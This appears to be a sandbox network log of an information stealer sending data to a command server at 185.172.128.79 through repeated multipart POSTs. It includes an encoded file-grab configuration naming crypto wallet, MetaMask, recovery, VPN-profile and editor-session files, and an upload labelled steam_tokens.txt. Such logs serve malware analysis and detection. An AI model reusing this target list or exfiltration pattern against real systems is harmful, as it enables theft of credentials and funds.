52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU
Feb 5, 2024 10:58:12.918562889 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:13.253242970 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:13.260113001 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGD Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:13.596678972 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:13.618427038 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:13.950938940 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:13.966098070 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:14.299494028 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:14.338598967 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:14.671387911 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:14.679387093 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:15.043978930 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:15.054647923 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:15.389713049 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:15.396430016 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:15.733151913 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:15.744580984 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGID Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:16.078819990 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:16.088506937 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJ Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:16.424741030 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:16.438565016 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:16.778712034 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:16.801376104 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:17.139695883 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:17.147984028 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:17.482203960 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:17.490464926 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:17.822402000 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:17.833570004 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:18.167706966 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:18.174365044 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAE Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:18.515001059 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:18.617774963 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:18.953557014 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:18.961133957 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:19.295499086 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:19.302386999 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBK Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:19.637516022 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:19.678561926 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:20.013508081 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:20.020711899 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHID Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:20.355900049 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:20.371823072 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:20.711095095 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:20.717231989 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDB Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:21.050067902 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:21.056021929 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:21.391207933 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:21.398387909 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:21.736371994 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:21.904062986 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:22.249214888 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:22.293772936 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:22.626251936 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:24.403860092 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:24.728944063 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:24.736165047 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGID Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:25.068217993 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:25.075822115 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:25.433943987 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:25.447197914 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:25.781080008 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:25.794260979 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDH Host: 185.172.128.79 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:26.126929045 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:26.142617941 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:26.475169897 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:26.498400927 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:26.834697008 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:26.842431068 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:27.178087950 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:27.190109968 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:27.521406889 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:27.535649061 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:27.870299101 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:27.878879070 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:28.214870930 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:28.230214119 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:28.563030958 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:28.576035976 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:28.936204910 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:28.944010973 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:29.276026011 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:29.291492939 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:29.627098083 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:29.638839960 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:29.973601103 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:29.991961002 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDG Host: 185.172.128.79 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:30.328986883 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:30.443661928 CET	564	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.172.128.79 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file"------IIIECAAKECFHIECBKJDH--
Feb 5, 2024 10:58:30.775187969 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:30.979865074 CET	204	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF Host: 185.172.128.79 Content-Length: 149499 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:31.703170061 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
